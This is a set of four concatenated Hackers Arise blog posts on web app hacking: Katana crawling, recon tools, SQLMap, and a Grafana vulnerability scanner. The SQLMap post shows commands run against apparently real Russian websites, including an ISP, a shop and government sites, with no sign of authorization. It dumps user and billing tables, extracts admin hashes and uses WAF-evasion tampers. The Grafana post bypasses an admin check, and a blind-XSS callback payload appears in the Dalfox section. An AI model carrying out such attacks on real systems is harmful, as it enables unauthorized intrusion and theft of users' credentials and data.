Welcome back, aspiring cyberwarriors and bug bounty hunters!

When we work with web applications, we often need to effectively crawl and spider them to understand what we’re dealing with. But the main problem we might encounter is that a target web app is an SPA, or single-page application. This means that the website loads a single HTML file initially and dynamically updates the content within that page as the user interacts with it. Therefore, traditional crawling tools become ineffective with modern web applications.

To work with modern JavaScript frameworks, single-page applications, and sophisticated authentication mechanisms, we can use the Katana framework from ProjectDiscovery. Katana is a web crawler that allows you to discover hidden paths, parameters, and endpoints in web applications. It’s fast, modular, and supports multiple crawling techniques.

One of the most impressive aspects of Katana is its ability to handle JavaScript execution and dynamic content rendering. Traditional crawlers often miss critical functionality because they cannot execute JavaScript or understand how modern web applications dynamically generate content. Katana addresses this limitation by incorporating headless browser capabilities that allow it to fully render pages, execute JavaScript, and discover content that would otherwise remain hidden.

Let’s explore how to download, install, and utilize this powerful reconnaissance tool to enhance your web application security testing capabilities.

Installing Katana

There are few methouds of installing the tool. In this article, I’ll focus on installing using Go programming language.

First, verify if Go is already installed:

kali> go version

Install Katana using the Go package manager:

kali> go install github.com/projectdiscovery/katana/cmd/katana@latest

Verify the installation:

kali> katana -version

Crawling Modes

Katana supports two main crawling modes, each tailored to different types of web applications and use cases.

The Standard Mode is designed for speed and simplicity, making it ideal for traditional websites. It uses Go’s built-in HTTP library to handle requests and responses, parsing raw HTTP response bodies without executing JavaScript or rendering the DOM. This lightweight approach ensures fast performance but may miss endpoints in more complex applications that rely on browser-based events.

In contrast, the Headless Mode offers a more thorough crawl by simulating a real browser environment. This mode is especially useful for modern, JavaScript-heavy applications, as it captures both raw and rendered content. By mimicking a legitimate browser fingerprint (including TLS and user-agent headers), it improves coverage and detection of dynamic elements.

You can enable Headless Mode with the -headless flag and customize it further with several options:

• -sc / -system-chrome: Use the locally installed Chrome
• -sb / -show-browser: Show the browser window during execution
• -ho / -headless-options: Pass custom Chrome options
• -nos / -no-sandbox: Disable the Chrome sandbox (useful for root users)
• -cdd / -chrome-data-dir: Specify a custom Chrome data directory
• -scp / -system-chrome-path: Set a specific path to the Chrome executable
• -noi / -no-incognito: Disable incognito mode

Basic Website Reconnaissance

Let’s start with a fundamental reconnaissance scenario where we need to map a target website’s structure and discover all accessible endpoints. For this example let’s try to understand application’s structure of Vesti.ru – Russian news website.

kali> katana -u https://example-target.com -d 5 -c 10 -o target-crawl-results.txt

-u: Specifies the target URL

-d 5: Sets maximum crawling depth to 5 levels

-c 10: Uses 10 concurrent threads for faster crawling

-o: Saves all discovered URLs to a file

JavaScript-Heavy Application Crawling

Modern web applications often rely heavily on JavaScript for content generation. Here’s how to handle an AngularJS-based single-page application.

kali> katana -u https://angular-app.com -js-crawl -headless -timeout 30 -delay 2 -o angular-results.json

-js-crawl: Enables JavaScript execution during crawling to handle AngularJS controllers and directives

-headless: Uses headless Chrome for rendering AngularJS templates and executing digest cycles

-timeout 30: Sets 30-second timeout for page loads to accommodate AngularJS bootstrapping

-delay 2: Adds 2-second delay between requests to allow AngularJS routing transitions

Known Files Discovery

Crawl for common files like robots.txt and sitemap.xml that often reveal valuable information about website structure and hidden content. These files can provide insights into:

• robots.txt: Disallowed directories and files that may contain sensitive information
• sitemap.xml: Complete site structure including pages not linked from main navigation
• Other discovery files: Common configuration files, backup files, and administrative interfaces

kali> katana -u https://example.com -known-files all -d 3

Note that a minimum depth of 3 is required to ensure comprehensive discovery of all known files across the target application.

Filtering Capabilities

Katana offers robust filtering features that help users process, refine, and manage crawl output with precision. These capabilities make it easy to isolate valuable data, reduce noise, and tailor results to match specific goals.

Users can filter output by specific fields, include or exclude URLs based on extensions or regular expressions, and even define custom fields using a YAML configuration file. This flexibility is crucial for handling the often large volume of data produced during a crawl, ensuring that users can focus on the most relevant information.

Some key filtering options include:

• -field or -f: Display specific fields (e.g., url, path, fqdn, rdn)
• -store-field or -sf: Save selected fields to disk
• -extension-match or -em: Show only URLs with specific file extensions
• -extension-filter or -ef: Exclude URLs with specific file extensions
• -match-regex or -mr: Include URLs that match a regex pattern
• -filter-regex or -fr: Exclude URLs that match a regex pattern

Example:
To extract only .js URLs (including those with query parameters) and save their full URLs to a file, you could run:

kali> katana -u https://example.com -match-regex “\.js” -f url -sf url -o js-files.txt

Summary

Whether you’re conducting penetration tests, bug bounty research, or comprehensive cyberwar operations, Katana’s advanced capabilities and modern architecture make it an essential addition to your hacking toolkit.

If you’re serious about sharpening your offensive security skills, consider our Subscriber Pro package. It’s designed to take your expertise to the next level.

The post Web App Hacking: Katana, A Next-Generation Crawling and Spidering Framework first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Some of you are already spending your time hunting for bugs in web apps on bug bounty programs. You may stare at a target for hours looking for a small mistake buried in that huge pile of code. Finding a bug is always a hard thing when you get started. 

But we’ve got some tools that will improve your web recon. Some of them are well known, but others never got the attention they deserved. Together they can expand the attack surface and find secrets. Test them yourself and then feed them into your AI.

Gospider

Let’s start with Gospider. Gospider is a fast web crawler that can build a detailed map of a website. It goes through sitemap.xml and robots.txt, finds links buried in JavaScript files and can pull URLs from the Wayback Machine, Common Crawl, VirusTotal and AlienVault OTX.

Let’s install it:

# Using Go Lang
kali > GO111MODULE=on go install github.com/jaeles-project/gospider@latest

# Or using apt
kali > sudo apt install gospider

Now we test it against our target:

kali > gospider -s https://example.com -d 3 -c 20 --js --subs -o output

You can use it with –cookie and –header to add custom HTTP headers. For instance, CVE-2025-29927 needed a header with x-middleware-subrequest to test whether Node.js was vulnerable. To dig through JS files for hidden links, use –js. Subdomains can be found with –subs. –other-source will pull URLs from Archive.org, Common Crawl, VirusTotal and AlienVault OTX. 

Finally, –o saves your results to a file and –p routes your traffic through a proxy (http://localhost:8080).

SecretsFinder

The purpose of this tool is to find sensitive information hidden inside JavaScript files or source code. SecretsFinder searches for API keys, access tokens, JWTs, passwords, and other types of credentials using a collection of regular expressions. If the built in patterns aren’t enough for you, use -r <regex> with your own.

kali > git clone https://github.com/m4llok/SecretFinder.git
kali > cd SecretFinder
kali > python3 -m venv venv; source venv/bin/activate; pip3 install -r requirements.txt

You can scan websites, local source code or files exported from Burp Suite.

kali > python3 SecretFinder.py  -i “test/*.js” -o cli

JSLuice

JSLuice is also a great tool for bug hunting. It doesn’t rely on regular expressions, but it does syntax analysis with Tree-sitter instead. That way it can find more URLs, API endpoints, secrets and interesting strings.

It picks up URLs even when they’re built dynamically in code, not just hardcoded text. It also finds secrets by understanding context and meaning, instead of just matching fixed patterns. That way it can find things that you’d miss otherwise. 

JSLuice was developed by Tom Hudson, the same person behind gron, meg and unfurl.

kali > go install github.com/BishopFox/jsluice/cmd/jsluice@latest
kali > echo 'export PATH="$HOME/go/bin:$PATH"' >> ~/.bashrc
kali > source ~/.bashrc

Now we can use it:

kali > jsluice <mode> <parameters> <files>

There are two modes you’ll need. The urls mode extracts URLs and paths, while the secrets mode finds secrets and other interesting strings in the code.

kali > jsluice secrets secs.js | jq ‘select (.type != “stringLiteral”)’

Beyond those, JSLuice also has three operating modes built for static code analysis. Tree mode shows the JavaScript syntax tree to see  how the code is structured underneath all that formatting.

kali > jsluice tree tree.js 

Query mode runs custom Tree-sitter queries, so you can find language constructs quickly. It takes some practice. Format mode beautifies compressed JavaScript, so you can read it. 

Here is an example:

function x(a,b){return fetch("/api/"+a,{method:"POST",body:JSON.stringify(b)})}var c=123;

And here is the output after JSLuice cleans it up:

function x(a, b) {
    return fetch("/api/" + a, {
        method: "POST",
        body: JSON.stringify(b)
    });
}
var c = 123;

That alone can save you time. 

xnLinkFinder

xnLinkFinder is an upgraded version of LinkFinder. It doesn’t just extract JavaScript URLs, but it can also find parameters, generate custom wordlists tailored to the target app, search for secrets and process data from multiple sources. Definitely great for recon.

kali > pip install xnLinkFinder

We first need to collect URLs with Gospider:

kali > gospider -s https://example.com --js --subs  -o gospider_output

Next, we remove Gospider’s service information and image links with other unnecessary resources:

kali > cat target_ru | grep -E 'http[s]?://' | sed 's/.* - //' | grep -vE '\.(jpg|jpeg|png|gif|svg|ico|css|woff|ttf|eot|mp3|mp4|webm|avi)$' | sort -u > filtered_urls.txt

Once it’s ready, we can use it as input for xnLinkFinder:

kali > xnLinkFinder -i target_ru -sf example.com -sp example.com -op parameters.txt -owl wordlist.txt -sp secrets.txt

The list with URLs is specified with -i, while -sf limits processing to URLs that belong to the target domain. Without that flag, xnLinkFinder will also crawl external links. The base domain is specified with -sp. Then -op saves all discovered parameters to a file and -owl generates a custom wordlist that can later be used for parameter mining or fuzzing with FFUF. Finally, -os saves any secrets the tool finds along the way.

Dalfox

Dalfox is a scanner that finds reflected, stored and blind XSS. It does extensive parameter analysis in HTML, JavaScript, attributes, event handlers or other contexts. It can also evaluate WAF behavior and reflection points. It will automatically discover potential injection points with parameter mining and BAV (Basic Another Vulnerability) analysis.

kali > go install github.com/hahwul/dalfox/v2@latest

# or download the .deb package from the latest release

Here’s how you use it:

# Scan a single target
kali > dalfox scan “http://example.com”

# Scan a list of URLs
kali > dalfox scan targets.txt

-b here specifies a callback server. It will inject callback URLs into payloads and it looks like this:

<script src="https://callback-server"></script>

If the payload actually executes somewhere on the target, you will get an incoming request. Burp Collaborator and webhook.site both work well here.

Caido

Caido is a strong alternative to Burp Suite for intercepting and modifying HTTP traffic. The developers say it was built by hackers for hackers. Caido was written in Rust, which is great for performance, and it consumes significantly less than Burp.

Caido now ships with Kali Linux. If you are running an older release, you can install it yourself:

kali > sudo apt update
kali > sudo apt install caido

We have a series on Caido. If you’re new to it, you can start with our articles.

The tool may feel a little unfamiliar compared to what you are used to, but you can quickly become comfortable with it. The free edition does have a few limitations, though. 

Summary

You always begin your hunt with recon and the tools we covered here play a role in that process. Gospider will build a detailed map of a target, pulling in current and historical URLs. SecretsFinder and JSLuice dig into JavaScript and source code to find credentials, endpoints and things you’d otherwise miss. xnLinkFinder builds on that by extracting parameters and generating custom wordlists for better testing. Dalfox uses discovered parameters to test them for XSS and Caido completes it being a lightweight alternative to Burp Suite.

Web app hacking is a skill you need if you want to land a job as a pentester. You’ll often deal with clients who want to make their external infrastructure stronger. For that reason, we’ve created our Web App Hacking training. In our experience, API endpoints are often misconfigured and that’s where you can find many bugs, Hacking APIs will teach you how to do it.

The post Web App Hacking: Six Tools for Bug Hunters first appeared on Hackers Arise.

Welcome back, cyberwarrior! 

Today we are going to cover the use of SQLMap in bug bounty and web pentest. This tool has been around for years and proved to be the top choice. When you test websites for SQLi, you often start manually with known payloads and then move to your tools. Although there are a few tools available out there, this one is the most capable. So it’s a good idea to start with it.

This article will teach you how to work with flags and options. Since all the heavy lifting is done by the tool, it’s enough for you to start finding bugs and report them. SQLi is considered to be a critical vulnerability, as it may lead to RCE or a full website compromise. That really depends on the database management system (DBMS). We had a case during a pentest where an admin’s IP was whitelisted in the MySQL database. That same IP also had SSH open, and credential reuse got us into that server too. You never know what you’re going to run into once you’re inside a database. Sometimes one finding can lead to the next. That’s why this vulnerability is critical.

OWASP Top 10

Although the injections moved down the list, they’re still out there and very much exploitable. There are many gov websites that are vulnerable to it. Sometimes you’ll come across a time-based injection that’s pretty slow to work with. Other times, you might get a union-based injection that will let you dump entire databases fast and clean. Error-based injections are common and easy to spot. And finally, there are boolean-based injections.

It’s not always obvious that a website is vulnerable to an injection. It might look totally outdated but give you nothing. And on the other hand, solid looking websites can leak everything with just one payload.

Simple payload

Let’s start with the basics. Often, you don’t need to go overboard as SQLMap can handle most of it for you. You can stick with simple payloads and only then get into complex ones. The complexity of the payload doesn’t always increase the chance of a successful SQLi. Even changing parameters like –risk or –level too early can make your payload fail.

Let’s take a Russian ISP website as an example. The one-liner here is simple. Below you can see an intercepted POST request that we saved from Burp. It had random login credentials for the test. 

kali > sudo sqlmap -r website.ru.txt --risk=3 --level=4 --batch --random-agent

You can play with levels and risks, but be careful as some websites may have WAF, so try to keep it low in the beginning.

Now let’s try dumping their data with –dump. We are interested in the billing database (-D billing) and users11 table (-T users11). At the end of the line we will add –columns to enumerate the columns.

kali > sudo sqlmap -r website.ru.txt --risk=3 --level=4 --batch --random-agent --dump -D billing -T users11

You can also use –users and –passwords to dump credentials of database admins.

–users extracts database management users. Here you will see all the whitelisted IPs, but sometimes you will come across localhost, which won’t let you connect to the DB externally. –passwords will dump password hashes if available. If you succeed, it opens up a new attack vector, as mentioned before.

Let’s now test a second example where higher risk and level work just fine and actually give better results. 

Here is a furniture shop in Moscow. Even though the website seems pretty modern, the id= parameter is injectable.

We will go with –level=4 and –risk=3 again this time. The asterisk (*) points at the parameter that needs to be tested. You can also use -p for that.

kali > sudo sqlmap -u “https://website.ru/product.php?id=*” --risk=3 --level=4 --random-agent --batch --dbs

It worked. Now we dump the users table with usernames and hashes. But keep in mind, not all hashes can be cracked by SQLMap. If it fails, don’t be surprised. Just export them and use Hashcat or John the Ripper.

Once cracked, we can log into the website. If someone cracks an admin’s hash, they can cause real damage to the website.

That was easy. Let’s look at a different challenge.

Tampers

This is a gov.ru website. It’s different compared to the previous ones, because regular SQLMap payloads fail here. It’s protected by a WAF that filters suspicious requests. For this reason we will use tampers. There are many of them and random is a popular choice. It randomizes the casing of your payload, which can help bypass WAFs.

kali > sudo sqlmap -u “http://website.gov.ru/search?category?new&q=news” --batch --level=3 --risk=2 --dbms=mysql -p q --dbs --tamper=randomcase --no-cast

Another flag you might notice is –no-cast. This tells SQLMap not to cast data types. It can be useful after you find a working injection. Before that, it might get in your way.

There are tons of tamper scripts designed for different firewalls. If you find out what firewall is running, you’ll have a better chance of picking the right one.

Columns

Here is another government-associated website for the city of Khabarovsk. Khabarovsk is a major city in the Russian Far East, close to China. It’s known for its military importance and some sketchy biological programs during the Soviet era. This website looks like a city archive. Let’s dig into it.

Look at the search functions. It shows results in a table format. That’s your clue. We need to know how many columns are returned. If your union payload uses the wrong number of columns, it won’t work.

As you can see above, there are four of them. So we will go with –union-col=4

kali > sudo sqlmap -u “https://website.ru/afond/index.php?x=0&y=0&short_search=...&act=search” --level=5 --risk=3 --tamper=randomcase,between,space2comment --random-agent --batch --dbs --dbs=mysql -p short_search --union-col=4 --union-char=”a” --no-cast

Using a union character (a random string or ID) can sometimes help stabilize your payload and avoid false positives. Don’t forget to add tamper scripts. You can even stack them, just make sure they don’t conflict with each other. 

Conclusion

That’s it for Part 1. We’ve laid the foundation in this chapter showing you the real use of SQLMap and its functions. As it was mentioned previously, SQLi are critical vulnerabilities and it’s always a good idea to test them during your Web App Hacking or Bug Bounty. We have training on each, where we give you the needed skills to start finding your first bugs or land a job as a pentesters, as many companies require these skills. 

The post Web App Hacking: Using SQLMap in Bug Bounty first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During pentests, it’s not uncommon to find a Grafana somewhere inside an organization’s infrastructure. Sometimes it can even be exposed directly to the Internet. It’s always worth checking Grafana for vulnerabilities, as it has been affected by multiple security issues over the years.

What is Grafana

Grafana is an open-source monitoring and visualization platform used by organizations to display dashboards containing information collected from servers, applications, databases, cloud services and networking equipment. Administrators rely on it to monitor the health of their infrastructure in real time, making it one of the most widely deployed monitoring apps in enterprise environments. Since Grafana often connects to numerous backend services and contains valuable configuration information, compromising it can sometimes give hackers an excellent foothold into the rest of the network.

Of course, you could manually inspect every Grafana installation looking for known vulnerabilities, but that quickly becomes time-consuming, especially during larger engagements where multiple servers have to be assessed.

Fortunately, there is a Grafana-Final-Scanner. It’s a tool designed specifically to automate this process. Instead of manually checking every instance the scanner performs the work for you by checking whether the target is vulnerable to a collection of publicly known vulnerabilities.

Grafana-Final-Scanner

We’ll begin by downloading the repository and installing its dependencies.

kali > git clone https://github.com/Zierax/Grafana-Final-Scanner.git
kali > cd Grafana-Final-Scanner
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip3 install -r requirements.txt

Once everything has been installed successfully, it’s worth taking a quick look at the list of vulnerabilities supported by the scanner.

At the time of writing, the tool is capable of checking for more than fifteen different Grafana vulnerabilities.

Now let’s point it at our target.

kali > python3 scanner.py -u https://target/grafana/login

After a short scan, the tool analyzes the target and reports any vulnerabilities it successfully identifies.

In our case, the results were promising. The scanner identified CVE-2024-8118 and an OAuth Authentication Bypass vulnerability. It also gave us the URL. We opened the page and the application asked us for an administrator key that we obviously didn’t have.

Fortunately, web applications don’t always behave exactly as their developers intended. Developers occasionally leave sensitive information inside the application’s front-end code. JavaScript, HTML comments, hardcoded credentials, authorization logic have all been discovered by hackers countless times over the years.

With that in mind, we opened the page’s HTML source code to see exactly how the authorization process was implemented. The comments were written in Russian, but the logic itself was fairly easy to understand.

Instead of verifying a specific administrator key, the application simply checked whether any key existed. So the validation routine wasn’t actually validating the value at all. It simply checked if some key was provided.

The next step was straightforward. We opened the browser’s Developer Console and manually created the expected key.

The application accepted it. 

We bypassed the authentication and accessed the admin panel. 

Finding a vulnerability is only part of the pentest. Understanding how the application behaves after exploitation is equally important. Sometimes the scanners get you only halfway there, while manual analysis can help you find the remaining pieces needed to fully demonstrate the impact.

It’s also a good reminder that developers occasionally leave sensitive information hidden inside client-side code. You never know what useful information may have been left behind.

Web Interface

While running the scanner from the command line works perfectly for testing targets, the project also includes a convenient web interface.

This can be useful during larger pentests where dozens of Grafana instances need to be assessed.

You can start it with this command:

kali > python scanner.py --serve --db vulndb.json

Summary

Grafana is one of the most common monitoring platforms you’ll encounter during internal and external penetration tests. Because it frequently contains sensitive operational data and often communicates with numerous backend systems, compromising it can sometimes provide hackers with an excellent entry point into an organization’s network.

Grafana-Final-Scanner can make it much easier to determine whether your Grafana is exposed to known vulnerabilities.

If you enjoy web application pentesting and would like to improve your skills for bug bounty hunting, we have our Web Application Hacking training. You’ll gain the practical knowledge and skills you need to start finding web application vulnerabilities.

The post Pentesting: Using Grafana to Pentest a Fitness App first appeared on Hackers Arise.